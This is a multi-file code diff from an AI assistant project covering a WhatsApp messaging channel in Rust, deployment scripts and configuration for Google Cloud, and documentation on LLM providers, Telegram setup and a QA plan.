let api_version = channel_host::workspace_read("channels/whatsapp/api_version")
.filter(|s| !s.is_empty())
.unwrap_or_else(|| "v18.0".to_string());
// Build WhatsApp API URL with token placeholder
// Host will replace {WHATSAPP_ACCESS_TOKEN} with actual token in Authorization header
let api_url = format!(
"https://graph.facebook.com/{}/{}/messages",
api_version, metadata.phone_number_id
"https://graph.facebook.com/v18.0/{}/messages",
metadata.phone_number_id
);
// Build sendMessage payload
@@ -453,7 +361,6 @@ impl Guest for WhatsAppChannel {
&api_url,
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
@@ -512,10 +419,6 @@ impl Guest for WhatsAppChannel {
fn on_status(_update: StatusUpdate) {}
fn on_broadcast(_user_id: String, _response: AgentResponse) -> Result<(), String> {
Err("broadcast not yet implemented for WhatsApp channel".to_string())
}
fn on_shutdown() {
channel_host::log(
channel_host::LogLevel::Info,
@@ -658,116 +561,31 @@ fn handle_incoming_message(req: &IncomingHttpRequest) -> OutgoingHttpResponse {
json_response(200, serde_json::json!({"status": "ok"}))
}
/// Extract attachments from a WhatsApp message.
fn extract_whatsapp_attachments(message: &WhatsAppMessage) -> Vec<InboundAttachment> {
let mut attachments = Vec::new();
if let Some(ref img) = message.image {
attachments.push(InboundAttachment {
id: img.id.clone(),
mime_type: img
.mime_type
.clone()
.unwrap_or_else(|| "image/jpeg".to_string()),
filename: None,
size_bytes: None,
source_url: None, // WhatsApp requires Graph API call with media ID to get URL
storage_key: None,
extracted_text: img.caption.clone(),
extras_json: String::new(),
});
}
if let Some(ref audio) = message.audio {
attachments.push(InboundAttachment {
id: audio.id.clone(),
mime_type: audio
.mime_type
.clone()
.unwrap_or_else(|| "audio/ogg".to_string()),
filename: None,
size_bytes: None,
source_url: None,
storage_key: None,
extracted_text: audio.caption.clone(),
extras_json: String::new(),
});
}
if let Some(ref video) = message.video {
attachments.push(InboundAttachment {
id: video.id.clone(),
mime_type: video
.mime_type
.clone()
.unwrap_or_else(|| "video/mp4".to_string()),
filename: None,
size_bytes: None,
source_url: None,
storage_key: None,
extracted_text: video.caption.clone(),
extras_json: String::new(),
});
}
if let Some(ref doc) = message.document {
attachments.push(InboundAttachment {
id: doc.id.clone(),
mime_type: doc
.mime_type
.clone()
.unwrap_or_else(|| "application/octet-stream".to_string()),
filename: doc.filename.clone(),
size_bytes: None,
source_url: None,
storage_key: None,
extracted_text: doc.caption.clone(),
extras_json: String::new(),
});
}
attachments
}
/// Process a single WhatsApp message.
fn handle_message(
message: &WhatsAppMessage,
phone_number_id: &str,
contact_names: &std::collections::HashMap<String, String>,
) {
let attachments = extract_whatsapp_attachments(message);
// Only handle text messages for now
// TODO: Add support for image, audio, video, document, etc.
if message.message_type != "text" {
channel_host::log(
channel_host::LogLevel::Debug,
&format!("Skipping non-text message type: {}", message.message_type),
);
return;
}
// Extract text content (from text body or media captions)
// Extract text content
let text = match &message.text {
Some(t) if !t.body.is_empty() => t.body.clone(),
_ => {
// Try to use caption from media messages as content
let caption = message
.image
.as_ref()
.and_then(|m| m.caption.clone())
.or_else(|| message.video.as_ref().and_then(|m| m.caption.clone()))
.or_else(|| message.document.as_ref().and_then(|m| m.caption.clone()));
match caption {
Some(c) if !c.is_empty() => c,
_ if !attachments.is_empty() => String::new(),
_ => return,
}
}
_ => return,
};
// Look up sender's name from contacts
let user_name = contact_names.get(&message.from).cloned();
// Permission check (WhatsApp is always DM)
if !check_sender_permission(
&message.from,
user_name.as_deref(),
phone_number_id,
) {
return;
}
// Build metadata for response routing
// This is critical - the response handler uses this to know where to send
let metadata = WhatsAppMessageMetadata {
@@ -786,7 +604,6 @@ fn handle_message(
content: text,
thread_id: None, // WhatsApp doesn't have threads like Slack/Discord
metadata_json,
attachments,
});
channel_host::log(
@@ -802,149 +619,6 @@ fn handle_message(
// Utilities
// ============================================================================
// ============================================================================
// Permission & Pairing
// ============================================================================
/// Check if a sender is permitted. Returns true if allowed.
/// WhatsApp is always 1-to-1 (DM), so dm_policy always applies.
fn check_sender_permission(
sender_phone: &str,
user_name: Option<&str>,
phone_number_id: &str,
) -> bool {
// 1. Owner check (highest priority)
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
if let Some(ref owner) = owner_id {
if sender_phone != owner {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping message from non-owner {} (owner: {})",
sender_phone, owner
),
);
return false;
}
return true;
}
// 2. DM policy (WhatsApp is always DM)
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
if dm_policy == "open" {
return true;
}
// 3. Build merged allow list
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
allowed.extend(store_allowed);
}
// 4. Check sender (phone number or name)
let is_allowed = allowed.contains(&"*".to_string())
|| allowed.contains(&sender_phone.to_string())
|| user_name.is_some_and(|u| allowed.contains(&u.to_string()));
if is_allowed {
return true;
}
// 5. Not allowed — handle by policy
if dm_policy == "pairing" {
let meta = serde_json::json!({
"phone": sender_phone,
"name": user_name,
})
.to_string();
match channel_host::pairing_upsert_request(CHANNEL_NAME, sender_phone, &meta) {
Ok(result) => {
channel_host::log(
channel_host::LogLevel::Info,
&format!(
"Pairing request for {}: code {}",
sender_phone, result.code
),
);
if result.created {
let _ = send_pairing_reply(sender_phone, phone_number_id, &result.code);
}
}
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Pairing upsert failed: {}", e),
);
}
}
}
false
}
/// Send a pairing code message via WhatsApp Cloud API.
fn send_pairing_reply(
recipient_phone: &str,
phone_number_id: &str,
code: &str,
) -> Result<(), String> {
let api_version = channel_host::workspace_read("channels/whatsapp/api_version")
.filter(|s| !s.is_empty())
.unwrap_or_else(|| "v18.0".to_string());
let url = format!(
"https://graph.facebook.com/{}/{}/messages",
api_version, phone_number_id
);
let payload = serde_json::json!({
"messaging_product": "whatsapp",
"recipient_type": "individual",
"to": recipient_phone,
"type": "text",
"text": {
"preview_url": false,
"body": format!(
"To pair with this bot, run: ironclaw pairing approve whatsapp {}",
code
)
}
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({
"Content-Type": "application/json",
"Authorization": "Bearer {WHATSAPP_ACCESS_TOKEN}"
});
let result = channel_host::http_request(
"POST",
&url,
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) if response.status >= 200 && response.status < 300 => Ok(()),
Ok(response) => {
let body_str = String::from_utf8_lossy(&response.body);
Err(format!(
"WhatsApp API error: {} - {}",
response.status, body_str
))
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
/// Create a JSON HTTP response.
fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse {
let body = serde_json::to_vec(&value).unwrap_or_default();
@@ -1064,138 +738,4 @@ mod tests {
assert_eq!(parsed.phone_number_id, "123456");
assert_eq!(parsed.sender_phone, "15551234567");
}
// === Attachment extraction fixture tests ===
#[test]
fn test_extract_whatsapp_image_attachment() {
let msg = WhatsAppMessage {
id: "msg1".to_string(),
from: "15551234567".to_string(),
timestamp: "1234567890".to_string(),
message_type: "image".to_string(),
text: None,
image: Some(WhatsAppMedia {
id: "media_img_1".to_string(),
mime_type: Some("image/jpeg".to_string()),
caption: Some("Look at this".to_string()),
}),
audio: None,
video: None,
document: None,
context: None,
};
let attachments = extract_whatsapp_attachments(&msg);
assert_eq!(attachments.len(), 1);
assert_eq!(attachments[0].id, "media_img_1");
assert_eq!(attachments[0].mime_type, "image/jpeg");
assert_eq!(
attachments[0].extracted_text,
Some("Look at this".to_string())
);
}
#[test]
fn test_extract_whatsapp_document_attachment() {
let msg = WhatsAppMessage {
id: "msg2".to_string(),
from: "15551234567".to_string(),
timestamp: "1234567890".to_string(),
message_type: "document".to_string(),
text: None,
image: None,
audio: None,
video: None,
document: Some(WhatsAppDocument {
id: "media_doc_1".to_string(),
mime_type: Some("application/pdf".to_string()),
filename: Some("report.pdf".to_string()),
caption: None,
}),
context: None,
};
let attachments = extract_whatsapp_attachments(&msg);
assert_eq!(attachments.len(), 1);
assert_eq!(attachments[0].id, "media_doc_1");
assert_eq!(attachments[0].mime_type, "application/pdf");
assert_eq!(
attachments[0].filename,
Some("report.pdf".to_string())
);
}
#[test]
fn test_extract_whatsapp_audio_video_attachments() {
let msg = WhatsAppMessage {
id: "msg3".to_string(),
from: "15551234567".to_string(),
timestamp: "1234567890".to_string(),
message_type: "audio".to_string(),
text: None,
image: None,
audio: Some(WhatsAppMedia {
id: "media_audio_1".to_string(),
mime_type: Some("audio/ogg".to_string()),
caption: None,
}),
video: Some(WhatsAppMedia {
id: "media_video_1".to_string(),
mime_type: Some("video/mp4".to_string()),
caption: None,
}),
document: None,
context: None,
};
let attachments = extract_whatsapp_attachments(&msg);
assert_eq!(attachments.len(), 2);
assert_eq!(attachments[0].id, "media_audio_1");
assert_eq!(attachments[1].id, "media_video_1");
}
#[test]
fn test_extract_whatsapp_text_only_no_attachments() {
let msg = WhatsAppMessage {
id: "msg4".to_string(),
from: "15551234567".to_string(),
timestamp: "1234567890".to_string(),
message_type: "text".to_string(),
text: Some(TextContent {
body: "Hello".to_string(),
}),
image: None,
audio: None,
video: None,
document: None,
context: None,
};
let attachments = extract_whatsapp_attachments(&msg);
assert!(attachments.is_empty());
}
#[test]
fn test_parse_whatsapp_image_message() {
let json = r#"{
"id": "wamid.123",
"from": "15551234567",
"timestamp": "1234567890",
"type": "image",
"image": {
"id": "media_img_abc",
"mime_type": "image/jpeg",
"caption": "Check this"
}
}"#;
let msg: WhatsAppMessage = serde_json::from_str(json).unwrap();
assert_eq!(msg.message_type, "image");
assert!(msg.image.is_some());
let attachments = extract_whatsapp_attachments(&msg);
assert_eq!(attachments.len(), 1);
assert_eq!(attachments[0].id, "media_img_abc");
}
}
@@ -1,6 +1,4 @@
{
"version": "0.2.0",
"wit_version": "0.3.0",
"type": "channel",
"name": "whatsapp",
"description": "WhatsApp Cloud API channel for receiving and responding to WhatsApp messages",
@@ -8,7 +6,7 @@
"required_secrets": [
{
"name": "whatsapp_access_token",
"prompt": "Enter your WhatsApp Cloud API permanent access token (from the Meta Developer Portal under your app's WhatsApp > API Setup).",
"prompt": "Enter your WhatsApp Cloud API access token (from Meta Developer Portal)",
"validation": "^[A-Za-z0-9_-]+$"
},
{
@@ -18,8 +16,7 @@
"auto_generate": { "length": 32 }
}
],
"validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}",
"setup_url": "https://developers.facebook.com/apps"
"validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}"
},
"capabilities": {
"http": {
@@ -51,9 +48,6 @@
},
"config": {
"api_version": "v18.0",
"reply_to_message": true,
"owner_id": null,
"dm_policy": "pairing",
"allow_from": []
"reply_to_message": true
}
}
-8
View File
@@ -1,8 +0,0 @@
# Complexity guardrails for AI-assisted development quality.
# These thresholds prevent new violations while preserving existing code.
# See: https://github.com/nearai/ironclaw/issues/338
cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled)
too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled)
too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations)
type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations)
-10
View File
@@ -1,10 +0,0 @@
coverage:
status:
project:
default:
target: auto
threshold: 1%
patch:
default:
target: 80%
threshold: 5%
-13
View File
@@ -1,13 +0,0 @@
[Unit]
Description=Cloud SQL Auth Proxy
After=network.target
[Service]
Type=simple
DynamicUser=yes
ExecStart=/usr/local/bin/cloud-sql-proxy ironclaw-prod:us-central1:ironclaw-db --port=5432
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
-39
View File
@@ -1,39 +0,0 @@
# WARNING: Replace all CHANGE_ME values before deploying.
# Do not use placeholder passwords in production.
DATABASE_URL=postgres://ironclaw:CHANGE_ME@localhost:5432/ironclaw
# NEAR AI Cloud (API key auth, Chat Completions API)
# Get an API key from https://cloud.near.ai
NEARAI_API_KEY=CHANGE_ME
NEARAI_MODEL=claude-3-5-sonnet-20241022
NEARAI_BASE_URL=https://cloud-api.near.ai
# Or use NEAR AI Chat (session token auth, Responses API):
# NEARAI_SESSION_TOKEN=sess_...
# NEARAI_BASE_URL=https://private.near.ai
# Agent
AGENT_NAME=ironclaw
CLI_ENABLED=false
# Web Gateway
GATEWAY_ENABLED=true
# 0.0.0.0 binds to all interfaces (required for Docker --network=host).
# Use 127.0.0.1 if running outside Docker or for local-only access.
GATEWAY_HOST=0.0.0.0
GATEWAY_PORT=3000
GATEWAY_AUTH_TOKEN=CHANGE_ME
# Restart Feature (Docker containers only)
# IMPORTANT: Set this in the container entrypoint or docker-compose to enable restart.
# The Docker entrypoint loop monitors exit codes:
# - Exit code 0 = clean restart: reset failure counter, wait IRONCLAW_RESTART_DELAY, restart
# - Exit code ≠ 0 = failure: increment counter, exit after IRONCLAW_MAX_FAILURES
IRONCLAW_IN_DOCKER=false
IRONCLAW_RESTART_DELAY=5 # seconds to wait before restarting (range: 1-30)
IRONCLAW_MAX_FAILURES=10 # max consecutive failures before container exits
# Disabled for initial deploy
SANDBOX_ENABLED=false
HEARTBEAT_ENABLED=false
EMBEDDING_ENABLED=false
-20
View File
@@ -1,20 +0,0 @@
[Unit]
Description=IronClaw AI Assistant
After=cloud-sql-proxy.service docker.service
Requires=cloud-sql-proxy.service
[Service]
Type=simple
ExecStartPre=/usr/bin/docker pull us-central1-docker.pkg.dev/ironclaw-prod/ironclaw/agent:latest
ExecStart=/usr/bin/docker run --rm \
--name ironclaw \
--env-file /opt/ironclaw/.env \
--network=host \
us-central1-docker.pkg.dev/ironclaw-prod/ironclaw/agent:latest \
--no-onboard
ExecStop=/usr/bin/docker stop ironclaw
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
-68
View File
@@ -1,68 +0,0 @@
#!/usr/bin/env bash
# VM bootstrap script for IronClaw on GCP Compute Engine.
#
# Run on a fresh Debian 12 VM after SSH:
# sudo bash setup.sh
#
# Prerequisites:
# - VM has the ironclaw-vm service account attached
# - Cloud SQL Auth Proxy accessible via IAM
# - Artifact Registry image pushed
set -euo pipefail
# Must run as root
if [ "$(id -u)" -ne 0 ]; then
echo "ERROR: This script must be run as root (sudo bash setup.sh)"
exit 1
fi
echo "==> Installing Docker"
apt-get update
apt-get install -y docker.io
systemctl enable docker
systemctl start docker
echo "==> Installing Cloud SQL Auth Proxy"
curl -fsSL -o /usr/local/bin/cloud-sql-proxy \
https://storage.googleapis.com/cloud-sql-connectors/cloud-sql-proxy/v2.14.3/cloud-sql-proxy.linux.amd64
chmod +x /usr/local/bin/cloud-sql-proxy
echo "==> Installing systemd services"
cp /tmp/deploy/cloud-sql-proxy.service /etc/systemd/system/
cp /tmp/deploy/ironclaw.service /etc/systemd/system/
systemctl daemon-reload
echo "==> Starting Cloud SQL Auth Proxy"
systemctl enable cloud-sql-proxy
systemctl start cloud-sql-proxy
echo "==> Configuring Docker registry auth"
# The VM service account provides Artifact Registry access
gcloud auth configure-docker us-central1-docker.pkg.dev --quiet
echo "==> Creating config directory"
# Owned by root, readable only by root. Docker reads --env-file as root
# before dropping to uid 1000 (ironclaw) inside the container.
mkdir -p /opt/ironclaw
chmod 700 /opt/ironclaw
if [ ! -f /opt/ironclaw/.env ]; then
echo "WARNING: /opt/ironclaw/.env does not exist."
echo "Create it with your configuration before starting IronClaw."
echo "See deploy/env.example for the required variables."
echo ""
echo "Then run: systemctl enable ironclaw && systemctl start ironclaw"
else
chmod 600 /opt/ironclaw/.env
echo "==> Starting IronClaw"
systemctl enable ironclaw
systemctl start ironclaw
fi
echo "==> Setup complete"
echo ""
echo "Verify with:"
echo " systemctl status cloud-sql-proxy"
echo " systemctl status ironclaw"
echo " docker logs ironclaw"
-20
View File
@@ -1,20 +0,0 @@
# Local development only — do NOT use these credentials in production.
services:
postgres:
image: pgvector/pgvector:pg16
ports:
- "5432:5432"
environment:
POSTGRES_DB: ironclaw
POSTGRES_USER: ironclaw
POSTGRES_PASSWORD: ironclaw # dev-only, change for any non-local deployment
volumes:
- pgdata:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U ironclaw"]
interval: 5s
timeout: 3s
retries: 5
volumes:
pgdata:
+3 -36
View File
@@ -246,46 +246,13 @@ Create `my-channel.capabilities.json`:
## Building and Deploying
### Supply Chain Security: No Committed Binaries
**Do not commit compiled WASM binaries.** They are a supply chain risk — the binary in a PR may not match the source. IronClaw builds channels from source:
- `cargo build` automatically builds `telegram.wasm` via `build.rs`
- The built binary is in `.gitignore` and is not committed
- CI should run `cargo build` (or `./scripts/build-all.sh`) to produce releases
**Reproducible build:**
```bash
cargo build --release
```
Prerequisites: `rustup target add wasm32-wasip2`, `cargo install wasm-tools` (optional; fallback copies raw WASM if unavailable).
### Telegram Channel (Manual Build)
```bash
# Add WASM target if needed
rustup target add wasm32-wasip2
# Build Telegram channel
./channels-src/telegram/build.sh
# Install (or use ironclaw onboard to install bundled channel)
mkdir -p ~/.ironclaw/channels
cp channels-src/telegram/telegram.wasm channels-src/telegram/telegram.capabilities.json ~/.ironclaw/channels/
```
**Note**: The main IronClaw binary bundles `telegram.wasm` via `include_bytes!`. When modifying the Telegram channel source, run `./channels-src/telegram/build.sh` **before** building the main crate, so the updated WASM is included.
### Other Channels
```bash
# Build the WASM component
cd channels-src/my-channel
cargo build --release --target wasm32-wasip2
cd channels/my-channel
cargo component build --release
# Deploy to ~/.ironclaw/channels/
cp target/wasm32-wasip2/release/my_channel.wasm ~/.ironclaw/channels/my-channel.wasm
cp target/wasm32-wasip1/release/my_channel.wasm ~/.ironclaw/channels/my-channel.wasm
cp my-channel.capabilities.json ~/.ironclaw/channels/
```
-178
View File
@@ -1,178 +0,0 @@
# LLM Provider Configuration
IronClaw defaults to NEAR AI for model access, but supports any OpenAI-compatible
endpoint as well as Anthropic and Ollama directly. This guide covers the most common
configurations.
## Provider Overview
| Provider | Backend value | Requires API key | Notes |
|---|---|---|---|
| NEAR AI | `nearai` | OAuth (browser) | Default; multi-model |
| Anthropic | `anthropic` | `ANTHROPIC_API_KEY` | Claude models |
| OpenAI | `openai` | `OPENAI_API_KEY` | GPT models |
| Google Gemini | `gemini` | `GEMINI_API_KEY` | Gemini models |
| AWS Bedrock | `bedrock` | `BEDROCK_ACCESS_KEY` | Requires OpenAI proxy (e.g. LiteLLM) |
| io.net | `ionet` | `IONET_API_KEY` | Intelligence API |
| Mistral | `mistral` | `MISTRAL_API_KEY` | Mistral models |
| Yandex AI Studio | `yandex` | `YANDEX_API_KEY` | YandexGPT models |
| Cloudflare Workers AI | `cloudflare` | `CLOUDFLARE_API_KEY` | Access to Workers AI |
| Ollama | `ollama` | No | Local inference |
| OpenRouter | `openai_compatible` | `LLM_API_KEY` | 300+ models |
| Together AI | `openai_compatible` | `LLM_API_KEY` | Fast inference |
| Fireworks AI | `openai_compatible` | `LLM_API_KEY` | Fast inference |
| vLLM / LiteLLM | `openai_compatible` | Optional | Self-hosted |
| LM Studio | `openai_compatible` | No | Local GUI |
---
## NEAR AI (default)
No additional configuration required. On first run, `ironclaw onboard` opens a browser
for OAuth authentication. Credentials are saved to `~/.ironclaw/session.json`.
```env
NEARAI_MODEL=claude-3-5-sonnet-20241022
NEARAI_BASE_URL=https://private.near.ai
```
---
## Anthropic (Claude)
```env
LLM_BACKEND=anthropic
ANTHROPIC_API_KEY=sk-ant-...
```
Popular models: `claude-sonnet-4-20250514`, `claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022`
---
## OpenAI (GPT)
```env
LLM_BACKEND=openai
OPENAI_API_KEY=sk-...
```
Popular models: `gpt-4o`, `gpt-4o-mini`, `o3-mini`
---
## Ollama (local)
Install Ollama from [ollama.com](https://ollama.com), pull a model, then:
```env
LLM_BACKEND=ollama
OLLAMA_MODEL=llama3.2
# OLLAMA_BASE_URL=http://localhost:11434 # default
```
Pull a model first: `ollama pull llama3.2`
---
## OpenAI-Compatible Endpoints
All providers below use `LLM_BACKEND=openai_compatible`. Set `LLM_BASE_URL` to the
provider's OpenAI-compatible endpoint and `LLM_API_KEY` to your API key.
### OpenRouter
[OpenRouter](https://openrouter.ai) routes to 300+ models from a single API key.
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://openrouter.ai/api/v1
LLM_API_KEY=sk-or-...
LLM_MODEL=anthropic/claude-sonnet-4
```
Popular OpenRouter model IDs:
| Model | ID |
|---|---|
| Claude Sonnet 4 | `anthropic/claude-sonnet-4` |
| GPT-4o | `openai/gpt-4o` |
| Llama 4 Maverick | `meta-llama/llama-4-maverick` |
| Gemini 2.0 Flash | `google/gemini-2.0-flash-001` |
| Mistral Small | `mistralai/mistral-small-3.1-24b-instruct` |
Browse all models at [openrouter.ai/models](https://openrouter.ai/models).
### Together AI
[Together AI](https://www.together.ai) provides fast inference for open-source models.
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://api.together.xyz/v1
LLM_API_KEY=...
LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo
```
Popular Together AI model IDs:
| Model | ID |
|---|---|
| Llama 3.3 70B | `meta-llama/Llama-3.3-70B-Instruct-Turbo` |
| DeepSeek R1 | `deepseek-ai/DeepSeek-R1` |
| Qwen 2.5 72B | `Qwen/Qwen2.5-72B-Instruct-Turbo` |
### Fireworks AI
[Fireworks AI](https://fireworks.ai) offers fast inference with compound AI system support.
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://api.fireworks.ai/inference/v1
LLM_API_KEY=fw_...
LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic
```
### vLLM / LiteLLM (self-hosted)
For self-hosted inference servers:
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=http://localhost:8000/v1
LLM_API_KEY=token-abc123 # set to any string if auth is not configured
LLM_MODEL=meta-llama/Llama-3.1-8B-Instruct
```
LiteLLM proxy (forwards to any backend, including Bedrock, Vertex, Azure):
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=http://localhost:4000/v1
LLM_API_KEY=sk-...
LLM_MODEL=gpt-4o # as configured in litellm config.yaml
```
### LM Studio (local GUI)
Start LM Studio's local server, then:
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=http://localhost:1234/v1
LLM_MODEL=llama-3.2-3b-instruct-q4_K_M
# LLM_API_KEY is not required for LM Studio
```
---
## Using the Setup Wizard
Instead of editing `.env` manually, run the onboarding wizard:
```bash
ironclaw onboard
```
Select **"OpenAI-compatible"** for OpenRouter, Together AI, Fireworks, vLLM, LiteLLM,
or LM Studio. You will be prompted for the base URL and (optionally) an API key.
The model name is configured in the following step.
-135
View File
@@ -1,135 +0,0 @@
# Telegram Channel Setup
This guide covers configuring the Telegram channel for IronClaw, including DM pairing for access control.
## Overview
The Telegram channel lets you interact with IronClaw via Telegram DMs and groups. It supports:
- **Webhook mode** (recommended): Instant delivery via tunnel
- **Polling mode**: No tunnel required; ~30s delay
- **DM pairing**: Approve unknown users before they can message the agent
- **Group mentions**: `@YourBot` or `/command` to trigger in groups
## Prerequisites
- IronClaw installed and configured (`ironclaw onboard`)
- A Telegram bot token from [@BotFather](https://t.me/BotFather)
## Quick Start
### 1. Create a Bot
1. Message [@BotFather](https://t.me/BotFather) on Telegram
2. Send `/newbot` and follow the prompts
3. Copy the bot token (e.g., `123456789:ABCdefGHIjklMNOpqrsTUVwxyz`)
### 2. Configure via Setup Wizard
```bash
ironclaw onboard
```
When prompted, enable the Telegram channel and paste your bot token. The wizard will:
- Validate the token
- Optionally configure a webhook secret
- Set up tunnel (if you want webhook mode)
### 3. (Optional) Configure Tunnel for Webhooks
For instant message delivery, expose your agent via a tunnel:
```bash
# ngrok
ngrok http 8080
# Cloudflare
cloudflared tunnel --url http://localhost:8080
```
Set the tunnel URL in settings or via `TUNNEL_URL` env var. Without a tunnel, the channel uses polling (~30s delay).
## DM Pairing
When an unknown user DMs your bot, they receive a pairing code. You must approve them before they can message the agent.
### Flow
1. Unknown user sends a message to your bot
2. Bot replies: `To pair with this bot, run: ironclaw pairing approve telegram ABC12345`
3. You run: `ironclaw pairing approve telegram ABC12345`
4. User is added to the allow list; future messages are delivered
### Commands
```bash
# List pending pairing requests
ironclaw pairing list telegram
# List as JSON
ironclaw pairing list telegram --json
# Approve a user by code
ironclaw pairing approve telegram ABC12345
```
### Configuration
Edit `~/.ironclaw/channels/telegram.capabilities.json` (or the config injected by the host):
| Option | Values | Default | Description |
|--------|--------|---------|-------------|
| `dm_policy` | `open`, `allowlist`, `pairing` | `pairing` | `open` = allow all; `allowlist` = config + approved only; `pairing` = allowlist + send pairing reply to unknown |
| `allow_from` | `["user_id", "username", "*"]` | `[]` | Pre-approved IDs/usernames. `*` allows everyone. |
| `owner_id` | Telegram user ID | `null` | When set, only this user can message (overrides dm_policy) |
| `bot_username` | Bot username (no @) | `null` | Used for mention detection in groups; when set, only strips this mention from messages |
| `respond_to_all_group_messages` | `true`/`false` | `false` | When true, respond to all group messages; when false, only @mentions and /commands |
## Manual Installation
If the channel isn't installed via the wizard:
```bash
# Build the Telegram channel (requires wasm32-wasip2 target)
rustup target add wasm32-wasip2
./channels-src/telegram/build.sh
# Install
mkdir -p ~/.ironclaw/channels
cp channels-src/telegram/telegram.wasm channels-src/telegram/telegram.capabilities.json ~/.ironclaw/channels/
```
## Secrets
The channel expects a secret named `telegram_bot_token`. Configure via:
- **Setup wizard**: Saves to encrypted secrets store
- **Environment**: `TELEGRAM_BOT_TOKEN=your_token`
- **Secrets store**: `ironclaw` CLI (if available)
## Webhook Secret (Optional)
For webhook validation, set `telegram_webhook_secret` in secrets. Telegram will send `X-Telegram-Bot-Api-Secret-Token` with each request; the host validates it before forwarding.
## Troubleshooting
### Messages not delivered
- **Polling mode**: Check logs for `getUpdates` errors. Ensure the bot token is valid.
- **Webhook mode**: Verify tunnel is running and `TUNNEL_URL` is correct. Telegram requires HTTPS.
### Pairing code not received
- Verify the channel can send messages (HTTP allowlist includes `api.telegram.org`)
- Check `dm_policy` is `pairing` (not `allowlist` which blocks without reply)
### Group mentions not working
- Set `bot_username` in config to your bot's username (e.g., `MyIronClawBot`)
- Ensure the message contains `@YourBot` or starts with `/`
### "Connection refused" when starting
- For webhook mode: Start your tunnel before `ironclaw run`
- For polling only: No tunnel needed; ignore tunnel-related warnings
-908
View File
@@ -1,908 +0,0 @@
# Automated QA Plan for IronClaw
**Date:** 2026-02-24
**Status:** Draft
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
---
## Motivation
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
| Category | Examples | Root Cause |
|----------|----------|------------|
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
---
## Tier 1: Schema & Contract Tests
**Cost:** Low (pure Rust tests, no infrastructure)
**Timeline:** Can land incrementally, one PR per sub-task
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
### 1.1 Tool Schema Validator
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
- Top-level has `"type": "object"`
- Every key in `"required"` exists in `"properties"`
- Every property has a `"type"` field
- No `additionalProperties` unless explicitly set
- Nested objects follow the same rules recursively
```rust
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
#[test]
fn all_tool_schemas_are_openai_strict_valid() {
let registry = ToolRegistry::new();
register_all_builtins(&mut registry);
for tool in registry.all_tools() {
let schema = tool.parameters_schema();
validate_strict_schema(&schema, &tool.name())
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
}
}
```
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
### 1.2 Config Round-Trip Tests
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
Cover the specific bugs found:
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
- Session token stored under `nearai.session_token` (not `nearai.session`)
```rust
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
// Simulate restart: load from env file
dotenv::from_path(&env_path).unwrap();
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
}
```
**Files:** New `tests/config_round_trip.rs`
### 1.3 Feature-Flag CI Matrix
